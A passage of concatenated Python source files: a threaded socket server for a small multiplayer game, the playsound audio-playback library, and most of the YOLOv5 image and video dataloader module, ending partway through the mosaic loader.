import socket import threading import numpy as np import time from main.character import Character class Networking(): def __init__(self, server, ip, port, max_connections): self.server=server self.ip=ip self.port=port self.max_connections=max_connections self.client_threads={} self.max_id=8192 def setup_networking(self): self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) try: self.socket.bind((self.ip, self.port)) except self.socket.error as e: return False self.socket.listen(self.max_connections) return True def server_thread(self): while self.server.is_running: conn, addr = self.socket.accept() player_id=np.random.randint(*self.server.entity_manager.id_range['character']) while player_id in self.client_threads: player_id=np.random.randint(*self.server.entity_manager.id_range['character']) self.server.print_log("Connected to: {}:{}".format(*addr)) client_thread=threading.Thread(target=self.client_thread, args=(conn,player_id,)) client_thread.start() self.client_threads[player_id]=client_thread self.server.entity_manager.entities[player_id]=Character(self.server, player_id, np.random.rand()*10, np.random.rand()*10, 0) def client_thread(self,conn, player_id): st=time.time() conn.send( str(player_id).encode() ) self.server.entity_manager.entities[0].info[player_id]={'last_time':[time.time()]} while self.server.is_running: try: data = conn.recv(2048).decode() if not data: print("Disconnected") break else: try: controls=[i for i in map(int,data.split(':'))] self.server.entity_manager.entities[player_id].controls=controls except: pass reply='' if len(self.server.entity_manager.entities): entity_data=self.server.entity_manager.get_entities_data(player_id) ents=np.sort([ent for ent in entity_data]) reply=','.join([entity_data[ent] for ent in ents]) #self.server.print_log("Received: " + data + ", Sending : " + reply) st=time.time() conn.sendall(str.encode(reply)) except Exception as e: print(e) break self.server.print_log("Lost connection") conn.close() self.client_threads.pop(player_id) self.server.entity_manager.entities.pop(player_id) self.server.entity_manager.entities[0].info.pop(player_id) def start_server_networking_thread(self): self.server_networking_thread=threading.Thread(target=self.server_thread, args=()) self.server_networking_thread.start()
playsound.py
import logging logger = logging.getLogger(__name__) class PlaysoundException(Exception): pass def _canonicalizePath(path): """ Support passing in a pathlib.Path-like object by converting to str. """ import sys if sys.version_info[0] >= 3: return str(path) else: # On earlier Python versions, str is a byte string, so attempting to # convert a unicode string to str will fail. Leave it alone in this case. return path def _playsoundWin(sound, block = True): ''' Utilizes windll.winmm. Tested and known to work with MP3 and WAVE on Windows 7 with Python 2.7. Probably works with more file formats. Probably works on Windows XP thru Windows 10. Probably works with all versions of Python. Inspired by (but not copied from) Michael Gundlach <gundlach@gmail.com>'s mp3play: https://github.com/michaelgundlach/mp3play I never would have tried using windll.winmm without seeing his code. ''' sound = _canonicalizePath(sound) if any((c in sound for c in ' "\'()')): from os import close, remove from os.path import splitext from shutil import copy from tempfile import mkstemp fd, tempPath = mkstemp(prefix = 'PS', suffix = splitext(sound)[1]) # Avoid generating files longer than 8.3 characters. logger.info('Made a temporary copy of {} at {} - use other filenames with only safe characters to avoid this.'.format(sound, tempPath)) copy(sound, tempPath) close(fd) # mkstemp opens the file, but it must be closed before MCI can open it. try: _playsoundWin(tempPath, block) finally: remove(tempPath) return from ctypes import c_buffer, windll from time import sleep def winCommand(*command): bufLen = 600 buf = c_buffer(bufLen) command = ' '.join(command).encode('utf-16') errorCode = int(windll.winmm.mciSendStringW(command, buf, bufLen - 1, 0)) # use widestring version of the function if errorCode: errorBuffer = c_buffer(bufLen) windll.winmm.mciGetErrorStringW(errorCode, errorBuffer, bufLen - 1) # use widestring version of the function exceptionMessage = ('\n Error ' + str(errorCode) + ' for command:' '\n ' + command.decode('utf-16') + '\n ' + errorBuffer.raw.decode('utf-16').rstrip('\0')) logger.error(exceptionMessage) raise PlaysoundException(exceptionMessage) return buf.value if '\\' in sound: sound = '"' + sound + '"' try: logger.debug('Starting') winCommand(u'open {}'.format(sound)) winCommand(u'play {}{}'.format(sound, ' wait' if block else '')) logger.debug('Returning') finally: try: winCommand(u'close {}'.format(sound)) except PlaysoundException: logger.warning(u'Failed to close the file: {}'.format(sound)) # If it fails, there's nothing more that can be done... pass def _handlePathOSX(sound): sound = _canonicalizePath(sound) if '://' not in sound: if not sound.startswith('/'): from os import getcwd sound = getcwd() + '/' + sound sound = 'file://' + sound try: # Don't double-encode it. sound.encode('ascii') return sound.replace(' ', '%20') except UnicodeEncodeError: try: from urllib.parse import quote # Try the Python 3 import first... except ImportError: from urllib import quote # Try using the Python 2 import before giving up entirely... parts = sound.split('://', 1) return parts[0] + '://' + quote(parts[1].encode('utf-8')).replace(' ', '%20') def _playsoundOSX(sound, block = True): ''' Utilizes AppKit.NSSound. Tested and known to work with MP3 and WAVE on OS X 10.11 with Python 2.7. Probably works with anything QuickTime supports. Probably works on OS X 10.5 and newer. Probably works with all versions of Python. Inspired by (but not copied from) Aaron's Stack Overflow answer here: http://stackoverflow.com/a/34568298/901641 I never would have tried using AppKit.NSSound without seeing his code. ''' try: from AppKit import NSSound except ImportError: logger.warning("playsound could not find a copy of AppKit - falling back to using macOS's system copy.") sys.path.append('/System/Library/Frameworks/Python.framework/Versions/2.7/Extras/lib/python/PyObjC') from AppKit import NSSound from Foundation import NSURL from time import sleep sound = _handlePathOSX(sound) url = NSURL.URLWithString_(sound) if not url: raise PlaysoundException('Cannot find a sound with filename: ' + sound) for i in range(5): nssound = NSSound.alloc().initWithContentsOfURL_byReference_(url, True) if nssound: break else: logger.debug('Failed to load sound, although url was good... ' + sound) else: raise PlaysoundException('Could not load sound with filename, although URL was good... ' + sound) nssound.play() if block: sleep(nssound.duration()) def _playsoundNix(sound, block = True): """Play a sound using GStreamer. Inspired by this: https://gstreamer.freedesktop.org/documentation/tutorials/playback/playbin-usage.html """ sound = _canonicalizePath(sound) # pathname2url escapes non-URL-safe characters from os.path import abspath, exists try: from urllib.request import pathname2url except ImportError: # python 2 from urllib import pathname2url import gi gi.require_version('Gst', '1.0') from gi.repository import Gst Gst.init(None) playbin = Gst.ElementFactory.make('playbin', 'playbin') if sound.startswith(('http://', 'https://')): playbin.props.uri = sound else: path = abspath(sound) if not exists(path): raise PlaysoundException(u'File not found: {}'.format(path)) playbin.props.uri = 'file://' + pathname2url(path) set_result = playbin.set_state(Gst.State.PLAYING) if set_result != Gst.StateChangeReturn.ASYNC: raise PlaysoundException( "playbin.set_state returned " + repr(set_result)) # FIXME: use some other bus method than poll() with block=False # https://lazka.github.io/pgi-docs/#Gst-1.0/classes/Bus.html logger.debug('Starting play') if block: bus = playbin.get_bus() try: bus.poll(Gst.MessageType.EOS, Gst.CLOCK_TIME_NONE) finally: playbin.set_state(Gst.State.NULL) logger.debug('Finishing play') def _playsoundAnotherPython(otherPython, sound, block = True, macOS = False): ''' Mostly written so that when this is run on python3 on macOS, it can invoke python2 on macOS... but maybe this idea could be useful on linux, too. ''' from inspect import getsourcefile from os.path import abspath, exists from subprocess import check_call from threading import Thread sound = _canonicalizePath(sound) class PropogatingThread(Thread): def run(self): self.exc = None try: self.ret = self._target(*self._args, **self._kwargs) except BaseException as e: self.exc = e def join(self, timeout = None): super().join(timeout) if self.exc: raise self.exc return self.ret # Check if the file exists... if not exists(abspath(sound)): raise PlaysoundException('Cannot find a sound with filename: ' + sound) playsoundPath = abspath(getsourcefile(lambda: 0)) t = PropogatingThread(target = lambda: check_call([otherPython, playsoundPath, _handlePathOSX(sound) if macOS else sound])) t.start() if block: t.join() from platform import system system = system() if system == 'Windows': playsound = _playsoundWin elif system == 'Darwin': playsound = _playsoundOSX import sys if sys.version_info[0] > 2: try: from AppKit import NSSound except ImportError: logger.warning("playsound is relying on a python 2 subprocess. Please use `pip3 install PyObjC` if you want playsound to run more efficiently.") playsound = lambda sound, block = True: _playsoundAnotherPython('/System/Library/Frameworks/Python.framework/Versions/2.7/bin/python', sound, block, macOS = True) else: playsound = _playsoundNix if __name__ != '__main__': # Ensure we don't infinitely recurse trying to get another python instance. try: import gi gi.require_version('Gst', '1.0') from gi.repository import Gst except: logger.warning("playsound is relying on another python subprocess. Please use `pip install pygobject` if you want playsound to run more efficiently.") playsound = lambda sound, block = True: _playsoundAnotherPython('/usr/bin/python3', sound, block, macOS = False) del system if __name__ == '__main__': # block is always True if you choose to run this from the command line. from sys import argv playsound(argv[1])
datasets.py
# YOLOv5 🚀 by Ultralytics, GPL-3.0 license """ Dataloaders and dataset utils """ import glob import hashlib import json import logging import os import random import shutil import time from itertools import repeat from multiprocessing.pool import Pool, ThreadPool from pathlib import Path from threading import Thread from zipfile import ZipFile import cv2 import numpy as np import torch import torch.nn.functional as F import yaml from PIL import ExifTags, Image, ImageOps from torch.utils.data import Dataset from tqdm import tqdm from utils.augmentations import Albumentations, augment_hsv, copy_paste, letterbox, mixup, random_perspective from utils.general import (LOGGER, check_dataset, check_requirements, check_yaml, clean_str, segments2boxes, xyn2xy, xywh2xyxy, xywhn2xyxy, xyxy2xywhn) from utils.torch_utils import torch_distributed_zero_first # Parameters HELP_URL = '' IMG_FORMATS = ['bmp', 'jpg', 'jpeg', 'png', 'tif', 'tiff', 'dng', 'webp', 'mpo'] # acceptable image suffixes VID_FORMATS = ['mov', 'avi', 'mp4', 'mpg', 'mpeg', 'm4v', 'wmv', 'mkv'] # acceptable video suffixes NUM_THREADS = min(8, os.cpu_count()) # number of multiprocessing threads # Get orientation exif tag for orientation in ExifTags.TAGS.keys(): if ExifTags.TAGS[orientation] == 'Orientation': break def get_hash(paths): # Returns a single hash value of a list of paths (files or dirs) size = sum(os.path.getsize(p) for p in paths if os.path.exists(p)) # sizes h = hashlib.md5(str(size).encode()) # hash sizes h.update(''.join(paths).encode()) # hash paths return h.hexdigest() # return hash def exif_size(img): # Returns exif-corrected PIL size s = img.size # (width, height) try: rotation = dict(img._getexif().items())[orientation] if rotation == 6: # rotation 270 s = (s[1], s[0]) elif rotation == 8: # rotation 90 s = (s[1], s[0]) except: pass return s def exif_transpose(image): """ Transpose a PIL image accordingly if it has an EXIF Orientation tag. :param image: The image to transpose. :return: An image. """ exif = image.getexif() orientation = exif.get(0x0112, 1) # default 1 if orientation > 1: method = {2: Image.FLIP_LEFT_RIGHT, 3: Image.ROTATE_180, 4: Image.FLIP_TOP_BOTTOM, 5: Image.TRANSPOSE, 6: Image.ROTATE_270, 7: Image.TRANSVERSE, 8: Image.ROTATE_90, }.get(orientation) if method is not None: image = image.transpose(method) del exif[0x0112] image.info["exif"] = exif.tobytes() return image def create_dataloader(path, imgsz, batch_size, stride, single_cls=False, hyp=None, augment=False, cache=False, pad=0.0, rect=False, rank=-1, workers=8, image_weights=False, quad=False, prefix=''): # Make sure only the first process in DDP process the dataset first, and the following others can use the cache with torch_distributed_zero_first(rank): dataset = LoadImagesAndLabels(path, imgsz, batch_size, augment=augment, # augment images hyp=hyp, # augmentation hyperparameters rect=rect, # rectangular training cache_images=cache, single_cls=single_cls, stride=int(stride), pad=pad, image_weights=image_weights, prefix=prefix) batch_size = min(batch_size, len(dataset)) nw = min([os.cpu_count(), batch_size if batch_size > 1 else 0, workers]) # number of workers sampler = torch.utils.data.distributed.DistributedSampler(dataset) if rank != -1 else None loader = torch.utils.data.DataLoader if image_weights else InfiniteDataLoader # Use torch.utils.data.DataLoader() if dataset.properties will update during training else InfiniteDataLoader() dataloader = loader(dataset, batch_size=batch_size, num_workers=nw, sampler=sampler, pin_memory=True, collate_fn=LoadImagesAndLabels.collate_fn4 if quad else LoadImagesAndLabels.collate_fn) return dataloader, dataset class InfiniteDataLoader(torch.utils.data.dataloader.DataLoader): """ Dataloader that reuses workers Uses same syntax as vanilla DataLoader """ def __init__(self, *args, **kwargs): super().__init__(*args, **kwargs) object.__setattr__(self, 'batch_sampler', _RepeatSampler(self.batch_sampler)) self.iterator = super().__iter__() def __len__(self): return len(self.batch_sampler.sampler) def __iter__(self): for i in range(len(self)): yield next(self.iterator) class _RepeatSampler: """ Sampler that repeats forever Args: sampler (Sampler) """ def __init__(self, sampler): self.sampler = sampler def __iter__(self): while True: yield from iter(self.sampler) class LoadImages: # YOLOv5 image/video dataloader, i.e. `python detect.py --source image.jpg/vid.mp4` def __init__(self, path, img_size=640, stride=32, auto=True): p = str(Path(path).resolve()) # os-agnostic absolute path if '*' in p: files = sorted(glob.glob(p, recursive=True)) # glob elif os.path.isdir(p): files = sorted(glob.glob(os.path.join(p, '*.*'))) # dir elif os.path.isfile(p): files = [p] # files else: raise Exception(f'ERROR: {p} does not exist') images = [x for x in files if x.split('.')[-1].lower() in IMG_FORMATS] videos = [x for x in files if x.split('.')[-1].lower() in VID_FORMATS] ni, nv = len(images), len(videos) self.img_size = img_size self.stride = stride self.files = images + videos self.nf = ni + nv # number of files self.video_flag = [False] * ni + [True] * nv self.mode = 'image' self.auto = auto if any(videos): self.new_video(videos[0]) # new video else: self.cap = None assert self.nf > 0, f'No images or videos found in {p}. ' \ f'Supported formats are:\nimages: {IMG_FORMATS}\nvideos: {VID_FORMATS}' def __iter__(self): self.count = 0 return self def __next__(self): if self.count == self.nf: raise StopIteration path = self.files[self.count] if self.video_flag[self.count]: # Read video self.mode = 'video' ret_val, img0 = self.cap.read() if not ret_val: self.count += 1 self.cap.release() if self.count == self.nf: # last video raise StopIteration else: path = self.files[self.count] self.new_video(path) ret_val, img0 = self.cap.read() self.frame += 1 s = f'video {self.count + 1}/{self.nf} ({self.frame}/{self.frames}) {path}: ' else: # Read image self.count += 1 img0 = cv2.imread(path) # BGR assert img0 is not None, f'Image Not Found {path}' s = f'image {self.count}/{self.nf} {path}: ' # Padded resize img = letterbox(img0, self.img_size, stride=self.stride, auto=self.auto)[0] # Convert img = img.transpose((2, 0, 1))[::-1] # HWC to CHW, BGR to RGB img = np.ascontiguousarray(img) return path, img, img0, self.cap, s def new_video(self, path): self.frame = 0 self.cap = cv2.VideoCapture(path) self.frames = int(self.cap.get(cv2.CAP_PROP_FRAME_COUNT)) def __len__(self): return self.nf # number of files class LoadWebcam: # for inference # YOLOv5 local webcam dataloader, i.e. `python detect.py --source 0` def __init__(self, pipe='0', img_size=640, stride=32): self.img_size = img_size self.stride = stride self.pipe = eval(pipe) if pipe.isnumeric() else pipe self.cap = cv2.VideoCapture(self.pipe) # video capture object self.cap.set(cv2.CAP_PROP_BUFFERSIZE, 3) # set buffer size def __iter__(self): self.count = -1 return self def __next__(self): self.count += 1 if cv2.waitKey(1) == ord('q'): # q to quit self.cap.release() cv2.destroyAllWindows() raise StopIteration # Read frame ret_val, img0 = self.cap.read() img0 = cv2.flip(img0, 1) # flip left-right # Print assert ret_val, f'Camera Error {self.pipe}' img_path = 'webcam.jpg' s = f'webcam {self.count}: ' # Padded resize img = letterbox(img0, self.img_size, stride=self.stride)[0] # Convert img = img.transpose((2, 0, 1))[::-1] # HWC to CHW, BGR to RGB img = np.ascontiguousarray(img) return img_path, img, img0, None, s def __len__(self): return 0 class LoadStreams: def __init__(self, sources='streams.txt', img_size=640, stride=32, auto=True): self.mode = 'stream' self.img_size = img_size self.stride = stride if os.path.isfile(sources): with open(sources) as f: sources = [x.strip() for x in f.read().strip().splitlines() if len(x.strip())] else: sources = [sources] n = len(sources) self.imgs, self.fps, self.frames, self.threads = [None] * n, [0] * n, [0] * n, [None] * n self.sources = [clean_str(x) for x in sources] # clean source names for later self.auto = auto for i, s in enumerate(sources): # index, source # Start thread to read frames from video stream st = f'{i + 1}/{n}: {s}... ' if 'youtube.com/' in s or 'youtu.be/' in s: # if source is YouTube video check_requirements(('pafy', 'youtube_dl')) import pafy s = pafy.new(s).getbest(preftype="mp4").url # YouTube URL s = eval(s) if s.isnumeric() else s # i.e. s = '0' local webcam cap = cv2.VideoCapture(s) assert cap.isOpened(), f'{st}Failed to open {s}' w = int(cap.get(cv2.CAP_PROP_FRAME_WIDTH)) h = int(cap.get(cv2.CAP_PROP_FRAME_HEIGHT)) self.fps[i] = max(cap.get(cv2.CAP_PROP_FPS) % 100, 0) or 30.0 # 30 FPS fallback self.frames[i] = max(int(cap.get(cv2.CAP_PROP_FRAME_COUNT)), 0) or float('inf') # infinite stream fallback _, self.imgs[i] = cap.read() # guarantee first frame self.threads[i] = Thread(target=self.update, args=([i, cap, s]), daemon=True) LOGGER.info(f"{st} Success ({self.frames[i]} frames {w}x{h} at {self.fps[i]:.2f} FPS)") self.threads[i].start() LOGGER.info('') # newline # check for common shapes s = np.stack([letterbox(x, self.img_size, stride=self.stride, auto=self.auto)[0].shape for x in self.imgs]) self.rect = np.unique(s, axis=0).shape[0] == 1 # rect inference if all shapes equal if not self.rect: LOGGER.warning('WARNING: Stream shapes differ. For optimal performance supply similarly-shaped streams.') def update(self, i, cap, stream): # Read stream `i` frames in daemon thread n, f, read = 0, self.frames[i], 1 # frame number, frame array, inference every 'read' frame while cap.isOpened() and n < f: n += 1 # _, self.imgs[index] = cap.read() cap.grab() if n % read == 0: success, im = cap.retrieve() if success: self.imgs[i] = im else: LOGGER.warn('WARNING: Video stream unresponsive, please check your IP camera connection.') self.imgs[i] *= 0 cap.open(stream) # re-open stream if signal was lost time.sleep(1 / self.fps[i]) # wait time def __iter__(self): self.count = -1 return self def __next__(self): self.count += 1 if not all(x.is_alive() for x in self.threads) or cv2.waitKey(1) == ord('q'): # q to quit cv2.destroyAllWindows() raise StopIteration # Letterbox img0 = self.imgs.copy() img = [letterbox(x, self.img_size, stride=self.stride, auto=self.rect and self.auto)[0] for x in img0] # Stack img = np.stack(img, 0) # Convert img = img[..., ::-1].transpose((0, 3, 1, 2)) # BGR to RGB, BHWC to BCHW img = np.ascontiguousarray(img) return self.sources, img, img0, None, '' def __len__(self): return len(self.sources) # 1E12 frames = 32 streams at 30 FPS for 30 years def img2label_paths(img_paths): # Define label paths as a function of image paths sa, sb = os.sep + 'images' + os.sep, os.sep + 'labels' + os.sep # /images/, /labels/ substrings return [sb.join(x.rsplit(sa, 1)).rsplit('.', 1)[0] + '.txt' for x in img_paths] class LoadImagesAndLabels(Dataset): # YOLOv5 train_loader/val_loader, loads images and labels for training and validation cache_version = 0.6 # dataset labels *.cache version def __init__(self, path, img_size=640, batch_size=16, augment=False, hyp=None, rect=False, image_weights=False, cache_images=False, single_cls=False, stride=32, pad=0.0, prefix=''): self.img_size = img_size self.augment = augment self.hyp = hyp self.image_weights = image_weights self.rect = False if image_weights else rect self.mosaic = self.augment and not self.rect # load 4 images at a time into a mosaic (only during training) self.mosaic_border = [-img_size // 2, -img_size // 2] self.stride = stride self.path = path self.albumentations = Albumentations() if augment else None try: f = [] # image files for p in path if isinstance(path, list) else [path]: p = Path(p) # os-agnostic if p.is_dir(): # dir f += glob.glob(str(p / '**' / '*.*'), recursive=True) # f = list(p.rglob('*.*')) # pathlib elif p.is_file(): # file with open(p) as t: t = t.read().strip().splitlines() parent = str(p.parent) + os.sep f += [x.replace('./', parent) if x.startswith('./') else x for x in t] # local to global path # f += [p.parent / x.lstrip(os.sep) for x in t] # local to global path (pathlib) else: raise Exception(f'{prefix}{p} does not exist') self.img_files = sorted(x.replace('/', os.sep) for x in f if x.split('.')[-1].lower() in IMG_FORMATS) # self.img_files = sorted([x for x in f if x.suffix[1:].lower() in IMG_FORMATS]) # pathlib assert self.img_files, f'{prefix}No images found' except Exception as e: raise Exception(f'{prefix}Error loading data from {path}: {e}\nSee {HELP_URL}') # Check cache self.label_files = img2label_paths(self.img_files) # labels cache_path = (p if p.is_file() else Path(self.label_files[0]).parent).with_suffix('.cache') try: cache, exists = np.load(cache_path, allow_pickle=True).item(), True # load dict assert cache['version'] == self.cache_version # same version assert cache['hash'] == get_hash(self.label_files + self.img_files) # same hash except: cache, exists = self.cache_labels(cache_path, prefix), False # cache # Display cache nf, nm, ne, nc, n = cache.pop('results') # found, missing, empty, corrupted, total if exists: d = f"Scanning '{cache_path}' images and labels... {nf} found, {nm} missing, {ne} empty, {nc} corrupted" tqdm(None, desc=prefix + d, total=n, initial=n) # display cache results if cache['msgs']: logging.info('\n'.join(cache['msgs'])) # display warnings assert nf > 0 or not augment, f'{prefix}No labels in {cache_path}. Can not train without labels. See {HELP_URL}' # Read cache [cache.pop(k) for k in ('hash', 'version', 'msgs')] # remove items labels, shapes, self.segments = zip(*cache.values()) self.labels = list(labels) self.shapes = np.array(shapes, dtype=np.float64) self.img_files = list(cache.keys()) # update self.label_files = img2label_paths(cache.keys()) # update n = len(shapes) # number of images bi = np.floor(np.arange(n) / batch_size).astype(np.int) # batch index nb = bi[-1] + 1 # number of batches self.batch = bi # batch index of image self.n = n self.indices = range(n) # Update labels include_class = [] # filter labels to include only these classes (optional) include_class_array = np.array(include_class).reshape(1, -1) for i, (label, segment) in enumerate(zip(self.labels, self.segments)): if include_class: j = (label[:, 0:1] == include_class_array).any(1) self.labels[i] = label[j] if segment: self.segments[i] = segment[j] if single_cls: # single-class training, merge all classes into 0 self.labels[i][:, 0] = 0 if segment: self.segments[i][:, 0] = 0 # Rectangular Training if self.rect: # Sort by aspect ratio s = self.shapes # wh ar = s[:, 1] / s[:, 0] # aspect ratio irect = ar.argsort() self.img_files = [self.img_files[i] for i in irect] self.label_files = [self.label_files[i] for i in irect] self.labels = [self.labels[i] for i in irect] self.shapes = s[irect] # wh ar = ar[irect] # Set training image shapes shapes = [[1, 1]] * nb for i in range(nb): ari = ar[bi == i] mini, maxi = ari.min(), ari.max() if maxi < 1: shapes[i] = [maxi, 1] elif mini > 1: shapes[i] = [1, 1 / mini] self.batch_shapes = np.ceil(np.array(shapes) * img_size / stride + pad).astype(np.int) * stride # Cache images into memory for faster training (WARNING: large datasets may exceed system RAM) self.imgs, self.img_npy = [None] * n, [None] * n if cache_images: if cache_images == 'disk': self.im_cache_dir = Path(Path(self.img_files[0]).parent.as_posix() + '_npy') self.img_npy = [self.im_cache_dir / Path(f).with_suffix('.npy').name for f in self.img_files] self.im_cache_dir.mkdir(parents=True, exist_ok=True) gb = 0 # Gigabytes of cached images self.img_hw0, self.img_hw = [None] * n, [None] * n results = ThreadPool(NUM_THREADS).imap(lambda x: load_image(*x), zip(repeat(self), range(n))) pbar = tqdm(enumerate(results), total=n) for i, x in pbar: if cache_images == 'disk': if not self.img_npy[i].exists(): np.save(self.img_npy[i].as_posix(), x[0]) gb += self.img_npy[i].stat().st_size else: self.imgs[i], self.img_hw0[i], self.img_hw[i] = x # im, hw_orig, hw_resized = load_image(self, i) gb += self.imgs[i].nbytes pbar.desc = f'{prefix}Caching images ({gb / 1E9:.1f}GB {cache_images})' pbar.close() def cache_labels(self, path=Path('./labels.cache'), prefix=''): # Cache dataset labels, check images and read shapes x = {} # dict nm, nf, ne, nc, msgs = 0, 0, 0, 0, [] # number missing, found, empty, corrupt, messages desc = f"{prefix}Scanning '{path.parent / path.stem}' images and labels..." with Pool(NUM_THREADS) as pool: pbar = tqdm(pool.imap(verify_image_label, zip(self.img_files, self.label_files, repeat(prefix))), desc=desc, total=len(self.img_files)) for im_file, l, shape, segments, nm_f, nf_f, ne_f, nc_f, msg in pbar: nm += nm_f nf += nf_f ne += ne_f nc += nc_f if im_file: x[im_file] = [l, shape, segments] if msg: msgs.append(msg) pbar.desc = f"{desc}{nf} found, {nm} missing, {ne} empty, {nc} corrupted" pbar.close() if msgs: logging.info('\n'.join(msgs)) if nf == 0: logging.info(f'{prefix}WARNING: No labels found in {path}. See {HELP_URL}') x['hash'] = get_hash(self.label_files + self.img_files) x['results'] = nf, nm, ne, nc, len(self.img_files) x['msgs'] = msgs # warnings x['version'] = self.cache_version # cache version try: np.save(path, x) # save cache for next time path.with_suffix('.cache.npy').rename(path) # remove .npy suffix logging.info(f'{prefix}New cache created: {path}') except Exception as e: logging.info(f'{prefix}WARNING: Cache directory {path.parent} is not writeable: {e}') # path not writeable return x def __len__(self): return len(self.img_files) # def __iter__(self): # self.count = -1 # #self.shuffled_vector = np.random.permutation(self.nF) if self.augment else np.arange(self.nF) # return self def __getitem__(self, index): index = self.indices[index] # linear, shuffled, or image_weights hyp = self.hyp mosaic = self.mosaic and random.random() < hyp['mosaic'] if mosaic: # Load mosaic img, labels = load_mosaic(self, index) shapes = None # MixUp augmentation if random.random() < hyp['mixup']: img, labels = mixup(img, labels, *load_mosaic(self, random.randint(0, self.n - 1))) else: # Load image img, (h0, w0), (h, w) = load_image(self, index) # Letterbox shape = self.batch_shapes[self.batch[index]] if self.rect else self.img_size # final letterboxed shape img, ratio, pad = letterbox(img, shape, auto=False, scaleup=self.augment) shapes = (h0, w0), ((h / h0, w / w0), pad) # for COCO mAP rescaling labels = self.labels[index].copy() if labels.size: # normalized xywh to pixel xyxy format labels[:, 1:] = xywhn2xyxy(labels[:, 1:], ratio[0] * w, ratio[1] * h, padw=pad[0], padh=pad[1]) if self.augment: img, labels = random_perspective(img, labels, degrees=hyp['degrees'], translate=hyp['translate'], scale=hyp['scale'], shear=hyp['shear'], perspective=hyp['perspective']) nl = len(labels) # number of labels if nl: labels[:, 1:5] = xyxy2xywhn(labels[:, 1:5], w=img.shape[1], h=img.shape[0], clip=True, eps=1E-3) if self.augment: # Albumentations img, labels = self.albumentations(img, labels) nl = len(labels) # update after albumentations # HSV color-space augment_hsv(img, hgain=hyp['hsv_h'], sgain=hyp['hsv_s'], vgain=hyp['hsv_v']) # Flip up-down if random.random() < hyp['flipud']: img = np.flipud(img) if nl: labels[:, 2] = 1 - labels[:, 2] # Flip left-right if random.random() < hyp['fliplr']: img = np.fliplr(img) if nl: labels[:, 1] = 1 - labels[:, 1] # Cutouts # labels = cutout(img, labels, p=0.5) labels_out = torch.zeros((nl, 6)) if nl: labels_out[:, 1:] = torch.from_numpy(labels) # Convert img = img.transpose((2, 0, 1))[::-1] # HWC to CHW, BGR to RGB img = np.ascontiguousarray(img) return torch.from_numpy(img), labels_out, self.img_files[index], shapes @staticmethod def collate_fn(batch): img, label, path, shapes = zip(*batch) # transposed for i, l in enumerate(label): l[:, 0] = i # add target image index for build_targets() return torch.stack(img, 0), torch.cat(label, 0), path, shapes @staticmethod def collate_fn4(batch): img, label, path, shapes = zip(*batch) # transposed n = len(shapes) // 4 img4, label4, path4, shapes4 = [], [], path[:n], shapes[:n] ho = torch.tensor([[0.0, 0, 0, 1, 0, 0]]) wo = torch.tensor([[0.0, 0, 1, 0, 0, 0]]) s = torch.tensor([[1, 1, 0.5, 0.5, 0.5, 0.5]]) # scale for i in range(n): # zidane torch.zeros(16,3,720,1280) # BCHW i *= 4 if random.random() < 0.5: im = F.interpolate(img[i].unsqueeze(0).float(), scale_factor=2.0, mode='bilinear', align_corners=False)[ 0].type(img[i].type()) l = label[i] else: im = torch.cat((torch.cat((img[i], img[i + 1]), 1), torch.cat((img[i + 2], img[i + 3]), 1)), 2) l = torch.cat((label[i], label[i + 1] + ho, label[i + 2] + wo, label[i + 3] + ho + wo), 0) * s img4.append(im) label4.append(l) for i, l in enumerate(label4): l[:, 0] = i # add target image index for build_targets() return torch.stack(img4, 0), torch.cat(label4, 0), path4, shapes4 # Ancillary functions -------------------------------------------------------------------------------------------------- def load_image(self, i): # loads 1 image from dataset index 'i', returns im, original hw, resized hw im = self.imgs[i] if im is None: # not cached in ram npy = self.img_npy[i] if npy and npy.exists(): # load npy im = np.load(npy) else: # read image path = self.img_files[i] im = cv2.imread(path) # BGR assert im is not None, f'Image Not Found {path}' h0, w0 = im.shape[:2] # orig hw r = self.img_size / max(h0, w0) # ratio if r != 1: # if sizes are not equal im = cv2.resize(im, (int(w0 * r), int(h0 * r)), interpolation=cv2.INTER_AREA if r < 1 and not self.augment else cv2.INTER_LINEAR) return im, (h0, w0), im.shape[:2] # im, hw_original, hw_resized else: return self.imgs[i], self.img_hw0[i], self.img_hw[i] # im, hw_original, hw_resized def load_mosaic(self, index): # YOLOv5 4-mosaic loader. Loads 1 image + 3 random images into a 4-image mosaic labels4, segments4 = [], [] s = self.img_size yc, xc = (int(random.uniform(-x, 2 * s + x)) for x in self.mosaic_border) # mosaic center x, y indices = [index] + random.choices(self.indices, k=3) # 3 additional image indices random.shuffle(indices) for i, index in enumerate(indices): # Load image img, _, (h, w) = load_image(self, index) # place img in img4 if i == 0: # top left img4 = np.full((s * 2, s * 2, img.shape[2]), 114, dtype=np.uint8) # base image with 4 tiles x1a, y1a, x2a, y2a = max(xc - w, 0), max(yc - h, 0), xc, yc # xmin, ymin, xmax, ymax (large image) x1b, y1b, x2b, y2b = w - (x2a - x1a), h - (y2a - y1a), w, h # xmin, ymin, xmax, ymax (small image) elif i == 1: # top right x1a, y1a, x2a, y2a = xc, max(yc - h, 0), min(xc + w, s * 2), yc x1b, y1b, x2b, y2b = 0, h - (y2a - y1a), min(w, x2a - x1a), h elif i == 2: # bottom left x1a, y1a, x2a, y2a = max(xc - w, 0), yc, xc, min(s * 2, yc + h) x1b, y1b, x2b, y2b = w - (x2a - x1a), 0, w, min(y2a - y1a, h) elif i == 3: # bottom right x1a, y1a, x2a, y2a = xc, yc, min(xc + w, s * 2), min(s * 2, yc + h) x1b, y1b, x2b, y2b = 0, 0, min(w, x2a - x1a), min(y2a - y1a, h) img4[y1a:y2a, x1a:x2a] = img[y1b:y2b, x1b:x2b] # img4[ymin:ymax, xmin:xmax] padw = x1a - x1b padh = y1a - y1b # Labels labels, segments = self.labels[index].copy(), self.segments[index].copy() if labels.size: labels[:, 1:] = xywhn2xyxy(labels[:, 1:], w, h, padw, padh) # normalized xywh to pixel xyxy format segments = [xyn2xy(x, w, h, padw, padh) for x in segments] labels4.append(labels) segments4.extend(segments) # Concat/clip labels labels4 = np.concatenate(labels4, 0) for x in (labels4[:, 1:], *segments4): np.clip(x, 0, 2 * s, out=x) # clip when using random_perspective() # img4, labels4 = replicate(img4, labels4) # replicate # Augment img4, labels4, segments4 = copy_paste(img4, labels4, segments4, p=self.hyp['copy_paste']) img4, labels4 = random_perspective(img4, labels4, segments4, degrees=self.hyp['degrees'], translate=self.hyp['translate'], scale=self.hyp['scale'], shear=self.hyp['shear'], perspective=self.hyp['perspective'], border=self.mosaic_border) # border to remove return img4, labels4 def load_mosaic9(self, index): # YOLOv5 9-mosaic loader. Loads 1 